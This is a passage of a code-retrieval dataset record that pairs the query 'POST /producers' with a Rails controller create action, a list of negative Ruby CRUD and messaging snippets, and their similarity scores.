"0.49165457", "0.49162698", "0.4914213", "0.49141964", "0.4912816", "0.49113113", "0.49108747", "0.49097234", "0.49035043", "0.490241", "0.48997152", "0.48882338" ]
0.64722854
3
POST /producers POST /producers.json
def create @producer = Pusher.create_producer(params[:producer]) if @producer.valid? render json: @producer, status: :created, location: @producer else render json: @producer.errors, status: :unprocessable_entity end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @producer = Producer.new(producer_params)\n\n respond_to do |format|\n if @producer.save\n format.html { redirect_to @producer, notice: \"Producer was successfully created.\" }\n format.json { render :show, status: :created, location: @producer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @producer.errors, status: :unprocessable_entity }\n end\n end\n end", "def producer_params\n params.permit(:name, :producers_type)\n end", "def create\n @producer = Producer.new(producer_params)\n authorize @producer\n if @producer.save\n head :no_content\n else\n render json: @producer.errors, status: :unprocessable_entity\n end\n end", "def index\n @producers = Producer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @producers }\n end\n end", "def create\n\t\tproducer = Producer.create(producer_params)\n\n\t\tif !producer.errors.any?\n\t\t\trender json: producer\n\t\telsif producer.errors.messages[:name][0] == \"has already been taken\"\n\t\t\trender json: {message: \"Producer already exists\"}\n\t\telse\n\t\t\trender json: {message: \"Error occurred\"}\n\t\tend\n\tend", "def create\n\n @producer = Producer.new(params[:producer])\n @producer.update_attributes(:active => \"1\", :is_deleted => \"0\")\n\n\n @groupings = Grouping.all\n grouping_ids = params[:grouping_ids] if params[:grouping_ids] \n grouping_ids ||= []\n @producer.grouping_ids = grouping_ids\n\n @kinds = Kind.all\n kind_ids = params[:kind_ids] if params[:kind_ids] \n kind_ids ||= []\n @producer.kind_ids = kind_ids\n\n @producer.company_id = current_user.company_id\n\n respond_to do |format|\n if @producer.save\n grouping_ids.each do |id|\n grouping_code = params[:grouping_code]\n code = grouping_code['grouping_'+id]\n gc = GroupingsProducer.where(:grouping_id => id, :producer_id => @producer.id).first\n if gc.nil?\n GroupingsProducer.create(:grouping_id => id, :producer_id => @producer.id, :code => code) \n else\n gc.code = code\n gc.save\n end\n end\n\n format.html { redirect_to producers_path, notice: \"El productor #{@producer.name} fue creado exitosamente.\" }\n format.json { render json: @producer, status: :created, location: @producer }\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @producer.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @producers = Producer.all\n end", "def new\n @producer = Producer.new\n @groupings = Grouping.all\n @kinds = Kind.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @producer }\n end\n end", "def producer_params\n params.require(:producer).permit(:name)\n end", "def create\n @supplier_produce = SupplierProduce.new(supplier_produce_params)\n\n respond_to do |format|\n if @supplier_produce.save\n format.html { redirect_to @supplier_produce, notice: 'Supplier produce was successfully created.' }\n format.json { render :show, status: :created, location: @supplier_produce }\n else\n format.html { render :new }\n format.json { render json: @supplier_produce.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @content_producer = ContentProducer.new(content_producer_params)\n\n respond_to do |format|\n if @content_producer.save\n format.html { redirect_to @content_producer, notice: 'Content producer was successfully created.' }\n format.json { render :show, status: :created, location: @content_producer }\n else\n format.html { render :new }\n format.json { render json: @content_producer.errors, status: :unprocessable_entity }\n end\n end\n end", "def producers_hash\n search_by_itemprop_hash 'producer'\n end", "def producers\n parse_crew('Produced by')\n end", "def produce(topic, key, value)\n producer = init_producer\n key = serialize(key, @config.properties['key.serializer'])\n value = serialize(value, @config.properties['value.serializer'])\n\n producer.send(ProducerRecord.new(topic, key, value))\n end", "def create\n\n reviews = []\n params[:scores].keys.each{ |name|\n score = params[:scores][name]\n peer_review = PeerReview.new(name:name, score:score, miniproject_id:params[:project][:id])\n peer_review.save\n reviews << peer_review\n }\n\n render json: reviews\n\n end", "def create\n course = Course.includes(:professors).new(course_params)\n course.professor_ids=(params[:professors])\n\n if course.save\n render json: course.to_json(include: :professors)\n else\n render :json => { :errors => course.errors }, :status => 422\n end\n end", "def new_producer\n Producer.create(user_id: self.id)\n end", "def producers\n Pathname.glob(@path.join('producers/*.yml')).map do |file|\n producer(YAML.load_file(file))\n end.compact\n end", "def add(*args, **kwargs, &block)\n @producers << Producer.new(*args, **kwargs, &block)\n end", "def create\n @pallet = Pallet.new(pallet_params)\n\n respond_to do |format|\n if @pallet.produce\n format.html { redirect_to pallets_path, notice: 'Pallet was successfully created.' }\n format.json { render :show, status: :created, location: pallets_path }\n else\n format.html { render :new }\n format.json { render json: @pallet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @grocery = Grocery.new(grocery_params)\n\n if @grocery.save\n render json: @grocery, status: :created, location: @grocery\n else\n render json: @grocery.errors, status: :unprocessable_entity\n end\n end", "def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end", "def producers\n to_array search_by_itemprop 'producer'\n end", "def create\n reading_id = Reading.generate_id\n params.delete :action\n params.delete :controller\n params.merge!(\"thermostat_id\" => @thermostat.id)\n $redis.set(reading_id, params)\n CreateReadingWorker.perform_async(params, reading_id)\n render json: {reading_id: reading_id}\n end", "def create\n @prod = Prod.new(params[:prod])\n\n respond_to do |format|\n if @prod.save\n format.html { redirect_to @prod, :notice => 'Prod was successfully created.' }\n format.json { render :json => @prod, :status => :created, :location => @prod }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @prod.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n plant = Plant.create(plant_params)\n render json: plant, status: :created\n end", "def create\n @profesor = Profesor.new(profesor_params)\n\n if @profesor.save\n render json: @profesor, status: :created, location: @profesor\n else\n render json: @profesor.errors, status: :unprocessable_entity\n end\n end", "def create\n @producer = Producer.new(producer_params)\n\n respond_to do |format|\n if @producer.save\n PersonMailer.account_activation(@producer.person).deliver_now\n format.html { redirect_to login_path, notice: 'Please check your email to activate your account.' }\n format.json { render :show, status: :created, location: @producer }\n else\n format.html { render :new }\n format.json { render json: @producer.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n if params[:search]\n @search = Producer.search do\n fulltext params[:search]\n end\n @producers = @search.results \n elsif params[:album_id]\n @producers = Album.find(params[:album_id]).producers\n else\n @producers = Producer.all\n end\n render json: @producers\n end", "def create\n response.headers['Content-Type'] = 'text/javascript'\n\n attributes = params.require(:board).permit(:name)\n @board = Board.create!(attributes)\n $redis.publish('boards:create', @board.to_json)\n render nothing: true\n end", "def index\n @content_producers = ContentProducer.all\n end", "def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end", "def create\n @prosumer_category = ProsumerCategory.new(prosumer_category_params)\n\n respond_to do |format|\n if @prosumer_category.save\n format.html { redirect_to @prosumer_category, notice: 'Prosumer category was successfully created.' }\n format.json { render :show, status: :created, location: @prosumer_category }\n else\n format.html { render :new }\n format.json { render json: @prosumer_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def one\n if args.length != 3\n error \"Kafka name, topic and data to produce required\"\n end\n _, topic, data = args\n name, url = attachment(args)\n parsed = JSON.parse(url, symbolize_names: true)\n url = URI.parse(parsed[:kafka])\n producer = Poseidon::Producer.new([\"#{url.host}:#{url.port}\"], \"one-producer\")\n display(\"Publishing data to topic #{topic}..\")\n msg = Poseidon::MessageToSend.new(topic, data)\n producer.send_messages([msg])\n display(\"Done.\")\n end", "def create\n @redux = Redux.new(redux_params)\n\n respond_to do |format|\n if @redux.save\n format.html { redirect_to @redux, notice: 'Redux was successfully created.' }\n format.json { render :show, status: :created, location: @redux }\n else\n format.html { render :new }\n format.json { render json: @redux.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @producer_company = ProducerCompany.new(producer_company_params)\n\n respond_to do |format|\n if @producer_company.save\n format.html { redirect_to @producer_company, notice: 'Producer company was successfully created.' }\n format.json { render :show, status: :created, location: @producer_company }\n else\n format.html { render :new }\n format.json { render json: @producer_company.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = @collection.products.build(product_params)\n\n if @product.save\n render json: @product, status: :created#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n product_name = competitor_params[:title]\n honestbee_datas = get_honestbee_data (product_name)\n predict_catalog = get_predict_catalog ( product_name )\n save_data_in_postgres (predict_catalog)\n render :json => honestbee_datas\n end", "def consumers_post(body, opts = {})\n data, _status_code, _headers = consumers_post_with_http_info(body, opts)\n data\n end", "def produce(documents)\n return if Rails.env == 'staging'\n documents.each do |document|\n begin\n metadata = {\n :published_at => Time.now.iso8601, \n :published_by => 'document-storage',\n :country => document.country_code,\n :id => SecureRandom.uuid,\n :tracking_id => SecureRandom.uuid\n }\n if document.destroyed?\n @producer.produce(nil, :topic => 'document', :key => document.id.to_s)\n else\n message = {:metadata => metadata, :payload => document.as_json(:include => :versions)}.deep_stringify_keys.encode_timestamps\n @producer.produce(@avro.encode(message, :schema_name => 'document'), :topic => 'document', :key => document.id.to_s)\n end\n rescue Exception => e\n @clogger.info(\"Failed #{e.inspect}\")\n end\n end\n begin\n @producer.deliver_messages\n rescue Exception => e\n @clogger.info(\"Failed #{e.inspect}\")\n end\n end", "def producer_params\n params.require(:producer).permit(:name, :email, :password_digest, :image, :phone, :type)\n end", "def create\n @promos = Promos.new(params[:promos])\n\n respond_to do |format|\n if @promos.save\n flash[:notice] = 'Promos was successfully created.'\n format.html { redirect_to(@promos) }\n format.xml { render :xml => @promos, :status => :created, :location => @promos }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @promos.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n render json: Post.create(params[\"post\"])\n end", "def create\n @publisher = Publisher.new(params[:publisher])\n\n respond_to do |format|\n if @publisher.save\n format.html { redirect_to \"/publishers\", notice: 'Publisher was successfully created.' }\n format.json { render json: @publisher, status: :created, location: @publisher }\n else\n format.html { redirect_to \"/publishers\", errors: 'Publisher could not be created.' }\n format.json { render json: @publisher.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pocket = Pocket.new(params[:pocket])\n\n respond_to do |format|\n if @pocket.save\n format.html { redirect_to @pocket, notice: 'Pocket was successfully created.' }\n format.json { render json: @pocket, status: :created, location: @pocket }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pocket.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @primer = Primer.new(params[:primer])\n\n respond_to do |format|\n if @primer.save\n format.html { redirect_to @primer, notice: 'Primer was successfully created.' }\n format.json { render json: @primer, status: :created, location: @primer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @primer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @profesore = Profesore.new(params[:profesore])\n\n respond_to do |format|\n if @profesore.save\n format.html { redirect_to @profesore, notice: 'Profesore was successfully created.' }\n format.json { render json: @profesore, status: :created, location: @profesore }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profesore.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @prayer = Prayer.new(params[:prayer])\n\n respond_to do |format|\n if @prayer.save\n format.html { redirect_to @prayer, notice: 'Prayer was successfully created.' }\n format.json { render json: @prayer, status: :created, location: @prayer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_terminte\n $consumers.each{|pipe| pipe.puts MSG_EXIT}\n File.open(DataFileName, 'rb') do |rfile|\n File.open(ResultFileName, 'w') do |wfile|\n wfile.puts JSON.pretty_generate(Marshal.load(rfile))\n end\n end\nend", "def create\n @pizza = Pizza.new(pizza_params)\n if @pizza.save\n ActionCable.server.broadcast 'pizzas', {}\n render json: @pizza\n else\n render json: @pizza.errors, status: :unprocessable_entity\n end\n end", "def create\n @provider = Provider.new(provider_params)\n\n if @provider.save\n render json: @provider, status: :created, location: @provider\n else\n render json: @provider.errors, status: :unprocessable_entity\n end\n end", "def create\n # Method to add Producer to hash to create transaction\n user = User.find_by_id(params[:transaction][:producer])\n hash = Hash.new\n hash = params[:transaction]\n @transaction = Transaction.new\n if user.nil?\n respond_to do |format|\n format.html { render action: \"new\" }\n format.json { head :no_content, status: :unprocessable_entity }\n end\n else\n hash[:producer] = user.name\n @transaction = user.transactions.build(hash)\n @transaction.save!\n user.save!\n \n \n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: t(:transaction_created) }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n @paper = Paper.new(paper_params)\n\n if @paper.save\n render json: @paper, status: :created, location: @paper\n else\n render json: @paper.errors, status: :unprocessable_entity\n end\n end", "def build_producer\n if(producer_args)\n @writer = Krakow::Producer.new(\n producer_args.merge(\n Smash.new(\n :topic => topic\n )\n )\n )\n info \"Producer TCP connection for #{topic} established #{writer}\"\n link @writer\n elsif(http_transmit)\n @writer = Krakow::Producer::Http.new(\n Smash.new(\n :endpoint => http_transmit,\n :topic => topic\n )\n )\n info \"Producer HTTP connection for #{topic} established #{writer}\"\n link @writer\n end\n end", "def create\n @product = Product.new(product_args)\n\n if @product.save\n render json: Product.all, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n @tack = Tack.new(tack_params)\n\n if @tack.save\n render json: @tack, status: :created, location: @tack\n else\n render json: @tack.errors, status: :unprocessable_entity\n end\n end", "def create\n @consume = Consume.new(consume_params)\n\n respond_to do |format|\n if @consume.save\n format.html { redirect_to @consume, notice: 'Consume was successfully created.' }\n format.json { render :show, status: :created, location: @consume }\n else\n format.html { render :new }\n format.json { render json: @consume.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @printer = Printer.new(printer_params)\n @printer = Printer.build_from_custom_printer(printer_params)\n\n # see if printer already exists\n @existing_printers = Printer.where(printer_type: @printer.printer_type,\n url: @printer.url)\n if @existing_printers.length > 0\n return_data = {error_message: \"Printer already exists\", return_code: 400}\n render json: return_data, :status => return_data[:return_code] and return\n end\n \n # validate the printer data\n adapter = @printer.get_adapter\n return_data = adapter.validate_connection(@printer)\n\n # bail out and return error\n if 200 != return_data[:return_code]\n render json: return_data, :status => return_data[:return_code] and return\n end\n\n if @printer.save\n adapter.loadProductData(@printer)\n render json: @printer.map_to_custom_printer, status: :created\n else\n render json: @printer.errors, status: :unprocessable_entity\n end\n end", "def create\n collection = Collection.create(collection_params)\n\n render json: collection\n end", "def medieval_composers\n response = RestClient.get 'https://api.openopus.org/composer/list/epoch/Medieval.json'\n json = JSON.parse response\n puts json\n\n if !json.nil?\n json[\"composers\"].map do |composer|\n Composer.create(name: \"#{composer[\"complete_name\"]}\", birth: \"#{composer[\"birth\"]}\", death: \"#{composer[\"death\"]}\", portrait: \"#{composer[\"portrait\"]}\", period_id: 1)\n end\n else\n puts \"Error seeding composers\"\n end\nend", "def CreateTopic params = {}\n \n APICall(path: 'topics.json',method: 'POST',payload: params.to_json)\n \n end", "def destroy\n @producer = Producer.find(params[:id])\n @producer.destroy\n\n respond_to do |format|\n format.html { redirect_to producers_url }\n format.json { head :no_content }\n end\n end", "def create\n @precinct = Precinct.new(params[:precinct])\n\n respond_to do |format|\n if @precinct.save\n format.html { redirect_to @precinct, notice: 'Precinct was successfully created.' }\n format.json { render json: @precinct, status: :created, location: @precinct }\n else\n format.html { render action: \"new\" }\n format.json { render json: @precinct.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @producer = Pusher.update_producer(params)\n\n if @producer.valid?\n head :no_content\n else\n render json: @producer.errors, status: :unprocessable_entity\n end\n end", "def producer; end", "def create\n @promotion = Promotion.new(promotion_params)\n\n if @promotion.save\n render json: @promotion, status: :created, location: @promotion\n else\n render json: @promotion.errors, status: :unprocessable_entity\n end\n end", "def create\n @produtor = Produtor.new(produtor_params)\n\n respond_to do |format|\n if @produtor.save\n format.html { redirect_to @produtor, notice: 'Produtor was successfully created.' }\n format.json { render :show, status: :created, location: @produtor }\n else\n format.html { render :new }\n format.json { render json: @produtor.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @profesore = Profesore.new(profesore_params)\r\n\r\n respond_to do |format|\r\n if @profesore.save\r\n format.html { redirect_to @profesore, notice: 'Profesore was successfully created.' }\r\n format.json { render :show, status: :created, location: @profesore }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @profesore.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @prayer = Prayer.new(prayer_params)\n\n respond_to do |format|\n if @prayer.save\n format.html { redirect_to @prayer, notice: 'Prayer was successfully created.' }\n format.json { render :show, status: :created, location: @prayer }\n else\n format.html { render :new }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = Topic.create(topic_params)\n current_user.topics.push(@topic)\n \n respond_with @topic\n end", "def create\n @submitter = Submitter.new(params[:submitter])\n\n respond_to do |format|\n if @submitter.save\n format.html { redirect_to submitters_path }#, notice: 'Submitter was successfully created.' }\n format.json { render json: @submitter, status: :created, location: @submitter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @submitter.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produto = Produto.create(produto_params)\n respond_with @produto\n end", "def create\n @product = Product.create!(product_params)\n json_response(@product, :created)\n end", "def create\n @careers = Career.create!(career_params)\n json_response(@careers, :created)\n end", "def create\n @prayer = Prayer.new(prayer_params)\n\n respond_to do |format|\n if @prayer.save\n format.html { redirect_to @prayer, notice: 'Prayer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @prayer }\n else\n format.html { render action: 'new' }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @prodingrediant = Prodingrediant.new(prodingrediant_params)\n\n respond_to do |format|\n if @prodingrediant.save\n format.html { redirect_to @prodingrediant, notice: 'Prodingrediant was successfully created.' }\n format.json { render :show, status: :created, location: @prodingrediant }\n else\n format.html { render :new }\n format.json { render json: @prodingrediant.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n professor = Professor.new(professor_params)\n \n if professor.save\n render json: professor.to_json(include: :courses)\n else\n render :json => { :errors => professor.errors }, :status => 422\n end\n end", "def create\n @produccion = Produccion.new(params[:produccion])\n\n respond_to do |format|\n if @produccion.save\n format.html { redirect_to @produccion, notice: 'Produccion was successfully created.' }\n format.json { render json: @produccion, status: :created, location: @produccion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @produccion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @paper = Paper.new(paper_params)\n respond_to do |format|\n if @paper.save\n format.html { redirect_to @paper, notice: 'Paper was successfully created.' }\n format.json { render :show, status: :created, location: @paper }\n else\n format.html { render :new }\n format.json { render json: @paper.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @paper = Paper.new(paper_params)\n\n respond_to do |format|\n if @paper.save\n format.html { redirect_to @paper, notice: 'Paper was successfully created.' }\n format.json { render :show, status: :created, location: @paper }\n else\n format.html { render :new }\n format.json { render json: @paper.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @promocion = Promocion.new(params[:promocion])\n\n respond_to do |format|\n if @promocion.save\n format.html { redirect_to @promocion, :notice => 'Promocion was successfully created.' }\n format.json { render json: @promocion, status: :created, location: @promocion }\n else\n format.html { render :action => \"new\" }\n format.json { render json: @promocion.errors }\n end\n end\n end", "def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to @premio, :notice => 'Premio was successfully created.' }\n format.json { render :json => @premio, :status => :created, :location => @premio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @kid = Kid.create(kid_params)\n @parent = Parent.find(params[:parent_id])\n @parent.kids << @kid\n redirect_to parent_kids_path\n # render json: @kid, status: 201\n end", "def create\n @primeminester = Primeminester.new(primeminester_params)\n\n respond_to do |format|\n if @primeminester.save\n format.html { redirect_to @primeminester, notice: 'Primeminester was successfully created.' }\n format.json { render :show, status: :created, location: @primeminester }\n else\n format.html { render :new }\n format.json { render json: @primeminester.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name].compact.join('/')\n url += \"/\"\n return HTTParty.post(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end", "def create\n @shelter = Shelter.new(shelter_params)\n\n if @shelter.save\n render json: @shelter, status: :created, location: @shelter\n else\n render json: @shelter.errors, status: :unprocessable_entity\n end\n end", "def create\n @prossumer = Prossumer.new(prossumer_params)\n\n if @prossumer.save\n ConfirmAccount.welcome(@prossumer).deliver_later\n\n render json: @prossumer, status: :created #, location: @prossumer\n else\n render json: @prossumer.errors, status: :unprocessable_entity\n end\n end", "def create\n # console.log('params', params)\n # console.log('pub_params', pub_params)\n puts \"pub params #{pub_params}\"\n @pub = Pub.new(pub_params)\n \n if @pub.save\n render json: @pub, status: :created, location: @pub\n else\n render json: @pub.errors, status: :unprocessable_entity\n end\n end", "def create\n @precioproducto = Precioproducto.new(params[:precioproducto])\n\n respond_to do |format|\n if @precioproducto.save\n format.html { redirect_to @precioproducto, notice: 'Precioproducto was successfully created.' }\n format.json { render json: @precioproducto, status: :created, location: @precioproducto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @precioproducto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @grade = Grade.new(grade_params)\n\n if @grade.save\n render json: @grade, status: :created, location: @grade\n else\n render json: @grade.errors, status: :unprocessable_entity\n end\n end", "def create\n @printer = Printer.new(printer_params)\n\n respond_to do |format|\n if @printer.save\n format.html { redirect_to root_path }\n format.json { render :show, status: :created, location: @printer }\n else\n format.html { render :new }\n format.json { render json: @printer.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @producer.destroy\n respond_to do |format|\n format.html { redirect_to producers_url, notice: 'Producer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @producer.destroy\n respond_to do |format|\n format.html { redirect_to producers_url, notice: \"Producer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def create\n @propuestum = Propuestum.new(propuestum_params)\n\n respond_to do |format|\n if @propuestum.save\n format.html { redirect_to @propuestum, notice: 'Propuestum was successfully created.' }\n format.json { render :show, status: :created, location: @propuestum }\n else\n format.html { render :new }\n format.json { render json: @propuestum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @propperty = Propperty.new(propperty_params)\n\n respond_to do |format|\n if @propperty.save\n format.html { redirect_to @propperty, notice: 'Propperty was successfully created.' }\n format.json { render :show, status: :created, location: @propperty }\n else\n format.html { render :new }\n format.json { render json: @propperty.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n printer_ids = JSON.parse(job_params[:printer])\n\n printers = Printer.where(id: printer_ids)\n\n job_params_fixed = job_params\n\n job_params_fixed[:printer] = nil\n\n\n printers.each do |printer|\n\n @job = Job.new(job_params_fixed)\n\n @job.printer = printer\n\n @job.status = \"Unassigned\"\n @job.save\n end\n\n redirect_to root_path\n\n # respond_to do |format|\n # if @job.save\n # format.html { redirect_to @job, notice: 'Job was successfully created.' }\n # format.json { render :show, status: :created, location: @job }\n # else\n # format.html { render :new }\n # format.json { render json: @job.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n @supplier = Supplier.find(params[:supplier_id])\n @product = @supplier.products.build(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @supplier, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @printer = Printer.new(printer_params)\n\n respond_to do |format|\n if @printer.save\n format.html { redirect_to @printer, notice: 'Printer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @printer }\n else\n format.html { render action: 'new' }\n format.json { render json: @printer.errors, status: :unprocessable_entity }\n end\n end\n end", "def produce_params\n params.require(:produce).permit(:produce_type, :name, :variety, :img_url, :quantity, :price, :season_id)\n end", "def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end" ]
[ "0.64211977", "0.6359898", "0.632868", "0.62813336", "0.6151703", "0.6080644", "0.602942", "0.57641", "0.5659043", "0.5625165", "0.55608875", "0.5547983", "0.548863", "0.5449561", "0.54396296", "0.54346067", "0.54153997", "0.5385405", "0.5384478", "0.53835094", "0.5378103", "0.5377858", "0.5369691", "0.53616923", "0.5335491", "0.5301597", "0.52981156", "0.52384126", "0.52359635", "0.5235876", "0.5234506", "0.5232767", "0.52285266", "0.5187839", "0.51841754", "0.5176517", "0.5168942", "0.51609665", "0.5143782", "0.5133837", "0.51301825", "0.51116115", "0.511002", "0.5107207", "0.50890636", "0.5088623", "0.5081777", "0.5072972", "0.5070511", "0.5063396", "0.5062895", "0.5062459", "0.5055973", "0.50437677", "0.50379205", "0.5026338", "0.5025924", "0.50210303", "0.5020854", "0.50078005", "0.500614", "0.5000637", "0.49917436", "0.49912977", "0.4988335", "0.49822935", "0.49800074", "0.49695072", "0.49671775", "0.495611", "0.49554527", "0.49482462", "0.4947448", "0.4946137", "0.49391943", "0.4938556", "0.4934275", "0.49231735", "0.49208498", "0.4916573", "0.49158862", "0.4915875", "0.4914523", "0.49118242", "0.49111387", "0.49076512", "0.49051774", "0.49037674", "0.49000755", "0.48984614", "0.4895974", "0.48935762", "0.48874107", "0.48864815", "0.48844847", "0.48829076", "0.48812935", "0.48795506", "0.48787242", "0.48784655" ]
0.66820544
0